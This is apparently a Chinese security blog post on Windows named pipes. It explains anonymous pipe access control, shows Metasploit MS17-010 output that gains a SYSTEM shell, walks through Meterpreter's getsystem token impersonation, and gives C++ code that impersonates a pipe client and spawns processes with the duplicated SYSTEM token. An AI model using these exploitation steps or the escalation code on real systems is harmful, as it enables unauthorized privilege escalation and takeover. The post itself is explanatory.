前言
上一篇已知命名管道从代码层的基本原理实现,及其实际作战中遭遇反弹shell受阻时的使用方式,此处进步针对实际管道应用中进行展开,补充先前所不足
访问控制
命名管道支持跨网络的访问连接,但是会受到访问控制列表或者本地策略的管控
在03及以下的版本中,默认开启了匿名管通信,但是在其上的版本中默认禁止匿名管道通信(含win7)
如下03的默认策略,允许部分的管道匿名访问
后面版本的系统,如下的默认策略完全禁止了匿名访问
带来影响
远程计算机开启管道,本地计算机尝试通过管道写入内容,此时并无权限
通过smb认证后,将建立有效连接,此时就能够实现管道的数据交互如下
这也正是msf中17010针对2008或者2012等如下使用是无法利用成功的根本原因
msf6 auxiliary(admin/smb/ms17_010_command) > run
[*] 192.168.3.144:445 - Target OS: Windows Server 2012 Datacenter 9200
[-] 192.168.3.144:445 - Unable to find accessible named pipe!
[*] 192.168.3.144:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
那么在设置匿名访问后,或者提供有效的身份验证后就可以执行成功
msf6 auxiliary(admin/smb/ms17_010_command) > run
[*] 192.168.3.144:445 - Target OS: Windows Server 2012 Datacenter 9200
[*] 192.168.3.144:445 - Built a write-what-where primitive...
[+] 192.168.3.144:445 - Overwrite complete... SYSTEM session obtained!
[+] 192.168.3.144:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.3.144:445 - Getting the command output...
[*] 192.168.3.144:445 - Executing cleanup...
[+] 192.168.3.144:445 - Cleanup was successful
[+] 192.168.3.144:445 - Command completed successfully!
[*] 192.168.3.144:445 - Output for "whoami":
nt authority\system
[*] 192.168.3.144:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/ms17_010_command) >
令牌模拟
除了绕过防火墙利用命名管道进行交互shell,甚至作为c2通信通道外,还能够进行令牌模拟,一般能够实现提权操作,msf下的getsystem利用的就是这个原理
Technique 1 creates a named pipe from Meterpreter. It also creates and runs a service that runs cmd.exe /c echo “some data” >\.\pipe[random pipe here]. When the spawned cmd.exe connects to Meterpreter’s named pipe, Meterpreter has the opportunity to impersonate that security context. Impersonation of clients is a named pipes feature. The context of the service is SYSTEM, so when you impersonate it, you become SYSTEM.
意思是msf将创建一个管道&一个服务,然后去运行cmd.exe /c echo “some data” >\.\pipe[random pipe here],当cmd连接到msf的管道时,因为服务是system权限,所以msf也就获得一个system权限
实际效果如下
meterpreter > getuid
Server username: ROOTKIT\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
此处需要了解如何模拟另个用户,在windows提供的方法中,进程可以模拟另一个用户的安全内容,如ftp服务器的进程允许用户进行身份验证,并且只允许访问特定用户用拥有的文件,则该进行可以模拟用户账户并允许windows强制实施
其中ImpersonateNamedPipeClient是getsystem功能成功的关键,注意只有管道服务器端才可以调用此函数
https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
ImpersonateNamedPipeClient命名管道允许服务端进程模拟已连接的客户端进程,调用此函数,命名管道文件系统会更改调用进程的线程,开始模拟从管道读取的最后一条消息的安全内容
如当目标用户的进程连接并写入输入攻击者的命名管道,则攻击者能够调用ImpersonateNamedPipeClient模拟目标的令牌,从而模拟用户,进程必须拥有SeImpersonatePrivilege权限(身份证验证后模拟客户端,否则可能无法提权成功),常规情况下该权限一般是系统使用在本地服务账号或者网络账号的,所以当通过服务账户启动的服务漏洞后就可获取相关权限,如local service或network service,权限可能较低,但可以用他来进行权限提升至system
默认情况服务端模拟客户端设置下如下:
进步返回getsystem细节:
1、getsystem创建一个新的windows服务,并以local system权限运行同时连接上命名管道
2、getsystem再产生一个进程,该进程创建一个命名管道并等待服务的连接
3、windows服务启动并连接到产生的进程的命名管道
4、进程接收连接,并调用ImpersonateNamedPipeClient,通过模拟令牌获取system权限
由此能够手动代码实现相关功能点
具体实现模拟本地用户
创建管道&初始化&监听,客户端传递信息,服务端接收信息,利用接收到的权限进行提权
前半部分和建立管道通信大同小异,不再重复
重点,模拟system:
if (ImpersonateNamedPipeClient(MyServerPipe) == 0) {//
//https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
cout << "impersonate client fail" << endl;
return 0;
}
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &ttoken)) {
//https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthreadtoken
cout << "open thread token fail" << endl;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &ptoken)) { //https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken
cout << "open process token fail" << endl;
}
if (!DuplicateTokenEx(ttoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &dtoken)) {//https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex
cout << "duplicate thread token fail" << endl;
}
cout << "impersonate system success" << endl;
CreateProcessAsUserA、CreateProcessWithTokenW进行提权
if (!CreateProcessAsUserA(dtoken, NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
printf("CreateProcessAsUserA failed (%d)\n", GetLastError());
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessWithTokenW(dtoken, 0, command, NULL,CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
msf下因为连接的管道是system此处模拟用system进行连接管道,实现效果如下,能够成功获取system令牌
权限对比
具体实现模拟远程用户
使用默认的模拟令牌形式进行远程连接管道将会失败
这是因为客户端模拟产生的用户无法进行远程认证
模拟客户端产生进程,是通过提取当前进程token产生,token仅存在sid&acl等信息,不包含认证所需要的密码、hash,所以只能进行本地认证